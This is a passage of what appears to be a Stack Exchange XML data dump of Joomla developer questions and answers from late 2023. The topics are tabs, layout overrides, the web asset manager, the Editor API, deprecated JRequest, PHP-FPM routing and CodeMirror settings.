tab.&lt;/p&gt;&#xA;&lt;p&gt;You can also optionally pass further array elements:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;'orientation'=&amp;gt;'vertical'    // if you want vertical tabs&#xA;&#xA;'breakpoint' =&amp;gt; 800   // specifies the value of the screen width &#xA;// at which the UI will change from tabs to an accordian (default is 768)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you use&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo LayoutHelper::render('joomla.edit.params', $this); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to render some of your tabs then you need to have set:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;useCoreUI = true;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Otherwise that layout will use the &lt;code&gt;bootstrap.addTab&lt;/code&gt; etc instead of &lt;code&gt;uitab.addTab&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Finally you also have to include &lt;code&gt;joomla-tab&lt;/code&gt; js and css via the Joomla 4 web asset manager:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Factory::getDocument()-&amp;gt;getWebAssetManager()&#xA;            -&amp;gt;useStyle('webcomponent.joomla-tab')&#xA;            -&amp;gt;useScript('webcomponent.joomla-tab');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you use the &lt;code&gt;joomla.edit.params&lt;/code&gt; layout then it will include it for you.&lt;/p&gt;&#xA;&lt;p&gt;In general if you are planning to upgrade a component from Joomla 3 to Joomla 4 I would strongly recommend that you redesign your code along the lines of Joomla 4. The backward compatibility doesn't work perfectly, and you'll have to do it at some stage. If you want to get an idea of what's involved then &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Upgrading_to_Joomla4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Upgrading_to_Joomla4&lt;/a&gt; should help.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-10-30T22:26:53.873" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33446" PostTypeId="2" ParentId="33444" CreationDate="2023-10-31T06:13:32.367" Score="2" Body="&lt;p&gt;JLayouts do support component level overrides (but not view level). Create the override &lt;code&gt;(layouts/joomla/form/renderlabel.php&lt;/code&gt;) in your component's directory. In frontend and/or backend, depending on where you want it to take effect. The lookup order is as following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[0] =&amp;gt; templates/mytemplate/html/layouts/com_mycomponent&#xA;[1] =&amp;gt; components/com_mycomponent/layouts&#xA;[2] =&amp;gt; templates/mytemplate/html/layouts&#xA;[3] =&amp;gt; layouts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Documentation:&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:JLayout_Improvements_for_Joomla!#Component_Layout_Override&quot; rel=&quot;nofollow noreferrer&quot;&gt;JLayout Improvements for Joomla!&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-10-31T06:13:32.367" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33447" PostTypeId="1" AcceptedAnswerId="33456" CreationDate="2023-10-31T17:11:52.937" Score="0" ViewCount="86" Body="&lt;p&gt;I have a set of fields that have been defined in an xml file and then I load the fields with $form-&amp;gt;loadFile('myFormName'). Before displaying the fields I would like to manipulate the fields based on a series of parameters defined in the config. I was looking at the &lt;a href=&quot;https://github.com/joomla/joomla-cms/tree/5.0-dev/plugins/user/profile&quot; rel=&quot;nofollow noreferrer&quot;&gt;joomla profile plugin&lt;/a&gt; and the &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/9e13dd7ba2d724773ae2cb8f8db584d1533b9d77/plugins/user/profile/src/Extension/Profile.php#L203C12-L203C20&quot; rel=&quot;nofollow noreferrer&quot;&gt;onContentPrepareForm&lt;/a&gt; function is doing something very similar to what I want to do. However I see that list fields that are to be manipulated are manually defined in an array.&lt;/p&gt;&#xA;&lt;p&gt;I have looked through the &lt;a href=&quot;https://api.joomla.org/cms-4/namespaces/joomla-cms-form.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;joomla API&lt;/a&gt; but I have not found a function that will return a list of fields. Is there a way to generate dynamically the list of fields from the information that has been loaded with $form-&amp;gt;loadFile('myForm')?&lt;/p&gt;&#xA;" OwnerUserId="5523" LastEditorUserId="5523" LastEditDate="2023-11-01T11:49:53.047" LastActivityDate="2023-11-01T13:03:15.733" Title="Get the form fields as defined in the form xml file" Tags="|form|xml|fields|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33448" PostTypeId="1" AcceptedAnswerId="33449" CreationDate="2023-10-31T19:54:32.387" Score="0" ViewCount="35" Body="&lt;p&gt;I have a module in which I would like to add a stylesheet and a script. I am creating a lot of modules for this project, and I would like to use a centralized json file for my scripts and styles, since a lot of them are used here and there.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$wa = Factory::getDocument()-&amp;gt;getWebAssetManager();&#xA;$wr = $wa-&amp;gt;getRegistry();&#xA;$wr-&amp;gt;addRegistryFile(JPATH_SITE.'/media/com_foo/joomla.asset.json');&#xA;$wa-&amp;gt;useStyle('com_foo.foo');&#xA;$wa-&amp;gt;useScript('com_foo.fooscript');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My current code throws the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;There is no &amp;quot;com_foo.foo&amp;quot; asset of a &amp;quot;style&amp;quot; type in the registry.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Shouldn't this be possible? Am I doing it wrong?&lt;/p&gt;&#xA;" OwnerUserId="405" LastActivityDate="2023-10-31T21:06:34.503" Title="How to use component's joomla.asset.json file in module?" Tags="|custom-module|web-asset-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33449" PostTypeId="2" ParentId="33448" CreationDate="2023-10-31T21:06:34.503" Score="1" Body="&lt;p&gt;You have to use a relative path in your call to addRegistryFile, ie:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$wr-&amp;gt;addRegistryFile('media/com_foo/joomla.asset.json');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-10-31T21:06:34.503" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33450" PostTypeId="1" CreationDate="2023-10-31T22:52:32.883" Score="0" ViewCount="52" Body="&lt;p&gt;I am trying to create a custom Joomla 4 task scheduler by creating plugin, which runs the custom task code.&#xA;I created the test plugin name plg_abc_def, but I don’t know how to link it with the Task Manager - from Select a Task Type I only see the same 9 initial types.&#xA;Thanks for Your help.&lt;/p&gt;&#xA;" OwnerUserId="17425" LastActivityDate="2023-10-31T22:52:32.883" Title="Custom task on Task Scheduler" Tags="|joomla-4.x|plugin|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="33451" PostTypeId="5" CreationDate="2023-11-01T08:01:35.857" Score="0" Body="" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2023-11-01T08:01:35.857" LastActivityDate="2023-11-01T08:01:35.857" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33452" PostTypeId="4" CreationDate="2023-11-01T08:01:35.857" Score="0" Body="For questions regarding Joomla 5.x of the Content Management System." OwnerUserId="168" LastEditorUserId="168" LastEditDate="2023-11-01T08:01:35.857" LastActivityDate="2023-11-01T08:01:35.857" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33453" PostTypeId="2" ParentId="33447" CreationDate="2023-11-01T10:04:19.317" Score="0" Body="&lt;p&gt;After further reading of the joomla documentation, unless I've missed something, there isn't a ready made function to get the field names as defined in a xml form field file. There is a [getXml][1] method (function) which returns the XML form object. From there using [SimpleXMLElement::xpath][2] I was able to iterate through the simple xml elements and create dynamically an array of the form field names.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    $fieldNames = array();&#xA;    foreach ($form-&amp;gt;getXml()-&amp;gt;xpath('//fields//fieldset') as $key =&amp;gt; $fieldset) {&#xA;        if (((string)$fieldset-&amp;gt;attributes()-&amp;gt;{'name'} == 'myFormName')) {&#xA;            foreach ($fieldset-&amp;gt;xpath('field') as $field) {&#xA;                $fieldNames[] = (string)$field-&amp;gt;attributes()-&amp;gt;{'name'};&#xA;            }&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the first xpath I find all the fieldset objects currently loaded into the form. I then select the fieldset I want by the name. Using xpath again I select the field object and put the names into my $fieldNames array. This way I avoid having to hard-code the fields I want to manipulate. If I update the xml file then the list of fields is automatically updated in the php code. Perhaps something similar could be done in the joomla profile plugin.&#xA;[1]: &lt;a href=&quot;https://api.joomla.org/cms-4/#method_getXml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-4/#method_getXml&lt;/a&gt;&#xA;[2]: &lt;a href=&quot;https://www.php.net/manual/en/simplexmlelement.xpath.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.php.net/manual/en/simplexmlelement.xpath.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5523" LastActivityDate="2023-11-01T10:04:19.317" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33454" PostTypeId="1" AcceptedAnswerId="33455" CreationDate="2023-11-01T10:31:04.593" Score="0" ViewCount="117" Body="&lt;p&gt;In JavaScript and J4, to get an editor object from the collection of objects with all editor instances running I use:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;let editor = Joomla.editors.instances[myEditorName];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I can see Joomla object in my console with all properties, editors.instances included.&lt;/p&gt;&#xA;&lt;p&gt;Now in J5 it's deprecated and editors.instances is empty. I have read some information about the reasons to replace this code with JoomlaEditor, but this does not appear in my console. Please, how can I access to the editors instances or editors objects in JavaScript / Joomla 5?&lt;/p&gt;&#xA;" OwnerUserId="16614" LastEditorUserId="16614" LastEditDate="2023-11-01T11:02:19.683" LastActivityDate="2023-11-02T07:58:07.860" Title="J5. Access editor instances in JavaScript" Tags="|javascript|editor|joomla-5.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33455" PostTypeId="2" ParentId="33454" CreationDate="2023-11-01T11:03:29.637" Score="0" Body="&lt;p&gt;The Editor API is now an ESM, so you will need to import it in your Javascript file.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import { JoomlaEditor } from 'editor-api';&#xA;&#xA;const editor = JoomlaEditor.get(id); // Replace &amp;quot;id&amp;quot; with ID of your editor element&#xA;console.log(editor);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You'll also need to ensure that your own Javascript file is set to be included as a module:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &amp;quot;name&amp;quot;: &amp;quot;foobar&amp;quot;,&#xA;    &amp;quot;type&amp;quot;: &amp;quot;script&amp;quot;,&#xA;    &amp;quot;uri&amp;quot;: &amp;quot;your_file.js&amp;quot;,&#xA;    &amp;quot;attributes&amp;quot;: {&#xA;        &amp;quot;type&amp;quot;: &amp;quot;module&amp;quot;&#xA;    }&#xA;},&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2023-11-01T11:03:29.637" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33456" PostTypeId="2" ParentId="33447" CreationDate="2023-11-01T13:03:15.733" Score="2" Body="&lt;p&gt;There is &lt;a href=&quot;https://api.joomla.org/cms-4/classes/Joomla-CMS-Form-Form.html#method_getFieldset&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Joomla\CMS\Form\Form::getFieldset()&lt;/code&gt;&lt;/a&gt; method for returning an array of fields belonging to a fieldset as &lt;code&gt;Joomla\CMS\Form\FormField&lt;/code&gt; objects.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$fieldNames = [];&#xA;&#xA;foreach ($form-&amp;gt;getFieldset('myFormName') as $field)&#xA;{&#xA;    $fieldNames[] = $field-&amp;gt;fieldname;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-11-01T13:03:15.733" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33457" PostTypeId="1" AcceptedAnswerId="33458" CreationDate="2023-11-01T18:54:50.110" Score="0" ViewCount="181" Body="&lt;p&gt;The following code use to work for generating variables for open graph data, but when I updated to Joomla 4 I now get an error because JRequest is deprecated.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$option = JRequest::getCmd('option');&#xA;$view = JRequest::getCmd('view');&#xA;if ($option==&amp;quot;com_content&amp;quot; &amp;amp;&amp;amp; $view==&amp;quot;article&amp;quot;) {&#xA;    $ids = explode(':',JRequest::getString('id'));&#xA;    $article_id = $ids[0];&#xA;    $article =&amp;amp; JTable::getInstance(&amp;quot;content&amp;quot;);&#xA;    $article-&amp;gt;load($article_id);&#xA;    $theArticle = $article-&amp;gt;get(&amp;quot;title&amp;quot;);&#xA;    $theImages = $article-&amp;gt;get(&amp;quot;images&amp;quot;);   &#xA;    $pictures = json_decode($theImages); // Split the parameters apart&#xA;    $timage= &amp;quot;http://mywebsite.../&amp;quot;.$pictures-&amp;gt;{'image_intro'};&#xA;}&#xA;$doc =&amp;amp; JFactory::getDocument();&#xA;$doc-&amp;gt;addCustomTag( '&#xA;&amp;lt;meta name=&amp;quot;twitter:title&amp;quot; content=&amp;quot;'.mb_strimwidth(strip_tags($theArticle),0,225, &amp;quot; ...&amp;quot;).'&amp;quot;=&amp;quot;&amp;quot;/&amp;gt;&#xA;&amp;lt;meta name=&amp;quot;twitter:card&amp;quot; content=&amp;quot;summary_large_image&amp;quot;&amp;gt;&#xA;&amp;lt;meta name=&amp;quot;twitter:site&amp;quot; content=&amp;quot;yoursite&amp;quot;&amp;gt;&#xA;&amp;lt;meta name=&amp;quot;twitter:creator&amp;quot; content=&amp;quot;yourcreator&amp;quot;&amp;gt;&#xA;&amp;lt;meta name=&amp;quot;twitter:url&amp;quot; content=&amp;quot;'.JURI::current().'&amp;quot;&amp;gt;&#xA;&amp;lt;meta name=&amp;quot;twitter:description&amp;quot; content=&amp;quot;'.mb_strimwidth(strip_tags($doc-&amp;gt;getMetaData( 'description' )),0,225, &amp;quot; ...&amp;quot;).'&amp;quot;=&amp;quot;&amp;quot;/&amp;gt;&#xA;&amp;lt;meta name=&amp;quot;twitter:image&amp;quot; content=&amp;quot;'.$timage.'&amp;quot;&amp;gt;&#xA;&#xA;&amp;lt;meta property=&amp;quot;og:title&amp;quot; content=&amp;quot;'.$this-&amp;gt;escape($this-&amp;gt;item-&amp;gt;title).'&amp;quot;/&amp;gt;&#xA;&amp;lt;meta property=&amp;quot;og:type&amp;quot; content=&amp;quot;article&amp;quot;/&amp;gt;&#xA;&amp;lt;meta property=&amp;quot;og:email&amp;quot; content=&amp;quot;&amp;quot;;/&amp;gt;&#xA;&amp;lt;meta property=&amp;quot;og:url&amp;quot; content=&amp;quot;'.str_replace('&amp;quot; ','&amp;amp;quot;',juri::current()).'&amp;quot;=&amp;quot;&amp;quot;&amp;gt;&#xA;&amp;lt;meta property=&amp;quot;og:image&amp;quot; content=&amp;quot;'.$timage.'&amp;quot;/&amp;gt;&#xA;&amp;lt;meta property=&amp;quot;og:site_name&amp;quot; content=&amp;quot;&amp;quot;/&amp;gt;&#xA;&amp;lt;meta property=&amp;quot;og:description&amp;quot; content=&amp;quot;'.strip_tags($this-&amp;gt;item-&amp;gt;introtext).'&amp;quot;/&amp;gt;&#xA;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How can I rewrite this to work with Joomla 4?&lt;/p&gt;&#xA;" OwnerUserId="17428" LastActivityDate="2023-11-28T11:59:14.763" Title="Fix deprecated JRequest in Joomla 4" Tags="|joomla-4.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33458" PostTypeId="2" ParentId="33457" CreationDate="2023-11-01T22:46:34.840" Score="1" Body="&lt;p&gt;In this instance you would replace JRequest with application input.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$JInput = Factory::getApplication()-&amp;gt;input;&#xA;$view = $JInput-&amp;gt;get('view','','string');&#xA;echo $view;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Sorry for my short answer but I'm traveling. this should point you in the right direction. Welcome to the JSE.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2023-11-01T22:46:34.840" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33459" PostTypeId="2" ParentId="33454" CreationDate="2023-11-02T07:58:07.860" Score="0" Body="&lt;p&gt;@Lodder, thanks but maybe I have doing something wrong because browser console shows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;EDITOR:  false&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is my reduced configuration:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;//** /media/com_abaco/js/editor.js&#xA;&#xA;import { JoomlaEditor } from 'editor-api';&#xA;const editor = JoomlaEditor.get('myEditorId'); &#xA;console.log('EDITOR: ', editor); &#xA;&#xA;//** /media/com_abaco/joomla.asset.json&#xA;...&#xA;    &amp;quot;assets&amp;quot;: [&#xA;    {&#xA;        &amp;quot;name&amp;quot;: &amp;quot;com_abaco.editor&amp;quot;,&#xA;        &amp;quot;type&amp;quot;: &amp;quot;script&amp;quot;,&#xA;        &amp;quot;uri&amp;quot;: &amp;quot;com_abaco/editor.js&amp;quot;,&#xA;        &amp;quot;dependencies&amp;quot;: [&#xA;            &amp;quot;codemirror&amp;quot;&#xA;        ],&#xA;        &amp;quot;attributes&amp;quot;: {&#xA;            &amp;quot;type&amp;quot;: &amp;quot;module&amp;quot;,&#xA;            &amp;quot;defer&amp;quot;: true&#xA;        }&#xA;    }&#xA;&#xA;//** /components/com_abaco/src/View/Editor/HtmlView.php&#xA;...&#xA;$this-&amp;gt;editor = Editor::getInstance('codemirror');&#xA;$wa = $this-&amp;gt;document-&amp;gt;getWebAssetManager();&#xA;$wa-&amp;gt;useScript('com_abaco.editor');&#xA;&#xA;//** /components/com_abaco/tmpl/editor/default.php&#xA;&#xA;&amp;lt;?= $this-&amp;gt;editor-&amp;gt;display('myEditorId', 'My custom content', '100%', '900', '300', '3', false, 'myEditorId', null, null, array()); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Codemirror editor is showing as expected but I can't access it in JavaScript. My file &lt;code&gt;editor.js&lt;/code&gt; is loaded before &lt;code&gt;editors.js&lt;/code&gt;, &lt;code&gt;joomla-editor-codemirror.js&lt;/code&gt; and &lt;code&gt;codemirror.js&lt;/code&gt;.  I don't know if this it's important.&lt;/p&gt;&#xA;" OwnerUserId="16614" LastActivityDate="2023-11-02T07:58:07.860" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33460" PostTypeId="1" CreationDate="2023-11-03T09:57:36.807" Score="0" ViewCount="11" Body="&lt;p&gt;When I set the index,follow in the global configuration and set everything regarding this robots tag to use global it will not actually render the robots tag. It just does not render it at all.&lt;/p&gt;&#xA;&lt;p&gt;Only when I set it to index,follow in my menu item or article it will render the tag. How can I change this? I want it to always render the tag, when its index,follow but also when it's configured to use global.&lt;/p&gt;&#xA;" OwnerUserId="5642" LastActivityDate="2023-11-03T09:57:36.807" Title="Global robots tag is not inserted, only when you do it on menu basis or article basis" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33461" PostTypeId="1" CreationDate="2023-11-03T17:13:46.987" Score="0" ViewCount="82" Body="&lt;p&gt;I've spent a good few hours ploughing through code and setting up servers to test exactly what is goes on to cause Joomla to fail in PHP-FPM unless $live_site is correctly set.&lt;/p&gt;&#xA;&lt;p&gt;The problem turns out to be that when $live_site is empty, Joomla will in most cases rely on the value of the PHP super global $_SERVER['SCRIPT_NAME']. In the case of a site that is installed into the document root, this will be empty when PHP is running as an Apache module, even when the URL is something like &lt;a href=&quot;https://example.com/heading/article&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://example.com/heading/article&lt;/a&gt;. (Because the actual script is the index.php in the document root).&lt;/p&gt;&#xA;&lt;p&gt;However, if PHP is running as PHP-FPM (which is a favoured solution for high performance and for site security) then the super global will contain &amp;quot;/heading/article&amp;quot; for the example above. With this value, Joomla does not work out how to handle the request and gives a 404 error.&lt;/p&gt;&#xA;&lt;p&gt;This can obviously be fixed by hacking Joomla, but that isn't a good solution. Is there any way to make PHP-FPM behave in the same way as PHP as an Apache module? Unless a solution is available, my feeling is that Joomla should continue to support the use of $live_site and fix problems that occur when it is set (notably in Joomla upgrades).&lt;/p&gt;&#xA;" OwnerUserId="15057" LastActivityDate="2023-11-03T17:13:46.987" Title="How to configure PHP-FPM to run Joomla without setting $live_site in configuration.php" Tags="|php|server-configuration|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33462" PostTypeId="1" CreationDate="2023-11-06T00:38:59.567" Score="0" ViewCount="40" Body="&lt;p&gt;Only new to Joomla- I need to add a new link to this list of links. As you can see in the picture it's only a link with a description but when trying to save it appears with &amp;quot;Save failed with the following error: Field 'sid' doesn't have a default value&amp;quot;. No images are trying to be uploaded or selected. I have checked other links in the list and they are set up the same way. It will let me edit a link of an existing link but not create a new one.&#xA;Any hits or suggestions?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZTVfS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZTVfS.png&quot; alt=&quot;Field 'sid' doesn't have a default value&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17438" LastEditorUserId="17438" LastEditDate="2023-11-06T00:43:02.750" LastActivityDate="2023-11-06T00:43:02.750" Title="Field 'sid' doesn't have a default value" Tags="|joomla-4.x|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33463" PostTypeId="1" AcceptedAnswerId="33507" CreationDate="2023-11-07T21:08:24.663" Score="1" ViewCount="144" Body="&lt;p&gt;I have successfully programmed a Joomla 4/5 API to generate an API web service. There is a kind of weird bug uploading files though, because it basically works on localhost - but on the live system I get the following error:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;2023-11-07T20:10:12+00:00   CRITICAL 77.8.3.4   error   Uncaught Throwable of type Joomla\CMS\Router\Exception\RouteNotFoundException thrown with message &amp;quot;Page not found&amp;quot;. Stack trace: #0 [ROOT]/libraries/src/Application/SiteApplication.php(754): Joomla\CMS\Router\Router-&amp;gt;parse()&#xA;#1 [ROOT]/libraries/src/Application/SiteApplication.php(244): Joomla\CMS\Application\SiteApplication-&amp;gt;route()&#xA;#2 [ROOT]/libraries/src/Application/CMSApplication.php(306): Joomla\CMS\Application\SiteApplication-&amp;gt;doExecute()&#xA;#3 [ROOT]/includes/app.php(58): Joomla\CMS\Application\CMSApplication-&amp;gt;execute()&#xA;#4 [ROOT]/index.php(32): require_once('...')&#xA;#5 {main}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It seems that Joomla cannot find the API endpoint, when called from JavaScript Node.js (Netlify). It does not reach the API controller.  Joomla 4 does not log any error message. Joomla 5 at least prints the above message. -&lt;/p&gt;&#xA;&lt;p&gt;The registerRoutes() of the Plugin looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; $routes = [&#xA;...&#xA;   new Route(&#xA;     ['POST'],       &#xA;     'v1/....fileupload/:id',&#xA;     'myclass.fileupload',&#xA;     ['id' =&amp;gt; '(\d+)']&#xA;   )&#xA;...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The defined Route can be successfully called on localhost or by using Postman (with &amp;quot;multipart/form-data&amp;quot;) via this URL:  &lt;code&gt;https://myjoomlaapiserver.com/api/v1/...fileupload/1&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;On the JavaScript Side (Vue 3/ Nuxt 3) the code calling the endpoint generates a file Blob and sends it to the Joomla API.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;const results = await $fetch(&#xA;  url,&#xA;  {&#xA;     method: &amp;quot;POST&amp;quot;,&#xA;     body: newFormData,&#xA;     headers: {&#xA;       // &amp;quot;Content-Type&amp;quot;: &amp;quot;multipart/form-data&amp;quot;,&#xA;       'Accept': '*/*', //! Ohne gibt's einen 406 Error&#xA;        Authorization: `Bearer ${config.BEARER}`,&#xA;     },&#xA;  }&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;More details on the Vue client here &lt;a href=&quot;https://stackoverflow.com/questions/77232507/file-upload-through-pinia-store-and-the-nuxt-3-server-api&quot;&gt;https://stackoverflow.com/questions/77232507/file-upload-through-pinia-store-and-the-nuxt-3-server-api&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Any ideas why this works on localhost but not on Joomla 4 or Joomla 5?&#xA;How to get better debugging info on the Joomla side?&lt;/p&gt;&#xA;" OwnerUserId="15765" LastEditorUserId="15765" LastEditDate="2023-11-08T14:57:40.777" LastActivityDate="2023-11-25T20:17:55.593" Title="File Upload from WebApp to Joomla API" Tags="|joomla-4.x|javascript|joomla-api|restful-api|joomla-5.x|" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="33464" PostTypeId="1" CreationDate="2023-11-08T10:54:23.827" Score="0" ViewCount="38" Body="&lt;p&gt;Codemirror v6 looks like not so easy to configure as previous versions. In my custom component I get codemirror editor with this code who use for options sintax like v5:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$editor = Editor::getInstance('codemirror');&#xA;$options = array(&#xA;    'syntax' =&amp;gt; 'php', &#xA;    'mode' =&amp;gt; 'application/x-httpd-php', &#xA;    'indentUnit' =&amp;gt; '4',&#xA;    'indentWithTabs' =&amp;gt; true,&#xA;    'smartIndent' =&amp;gt; true&#xA;    );&#xA;&#xA;...&#xA;&#xA;&amp;lt;?= $editor-&amp;gt;display('myEditorId', 'My custom content', '100%', '900', '300', '3', false, 'myEditorId', null, null, $options); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Tab key doesn't work as I expected in a code editor because leave the editor and direct the focus to the next control. I would like to configure codemirror inserting a tab (4 spaces) pressing Tab key, and remove a tab pressing Ctrl+Tab.&lt;/p&gt;&#xA;&lt;p&gt;Also, autoindent works but with 2 spaces (default configuration), and I need to configure it to 4 espaces.&lt;/p&gt;&#xA;&lt;p&gt;Please, someone have configured Codemirror with these parameters? How could I do it?&lt;/p&gt;&#xA;" OwnerUserId="16614" LastEditorUserId="16614" LastEditDate="2023-11-08T15:39:52.357" LastActivityDate="2023-11-08T15:39:52.357" Title="J5. Activate Tab key and Indent in Codemirror in custom component" Tags="|custom-component|editor|joomla-5.x|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33466" PostTypeId="2" ParentId="33457" CreationDate="2023-11-09T20:13:46.663" Score="1" Body="&lt;p&gt;JRequest had been deprecated since Joomla 3, so the &lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation available for Joomla 3&lt;/a&gt; is still valid for Joomla 4.&lt;/p&gt;&#xA;&lt;p&gt;If you want to convert the old classes to the namespaces you can use this &lt;a href=&quot;https://github.com/techjoomla/joomla-3x-to-4x-migration-tools/blob/main/joomla-39x-to-4x-namespaces-script/namespaces.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;script&lt;/a&gt; or use the list as cheatsheet.&lt;/p&gt;&#xA;&lt;p&gt;For a comprehensive list of deprecated classes, removed classes and other stuff that has changed between J3.10 and J4 you should read the list of &lt;a href=&quot;https://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_4&quot; rel=&quot;nofollow noreferrer&quot;&gt;potential backward compatibility issues&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5523" LastEditorUserId="5523" LastEditDate="2023-11-28T11:59:14.763" LastActivityDate="2023-11-28T11:59:14.763" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
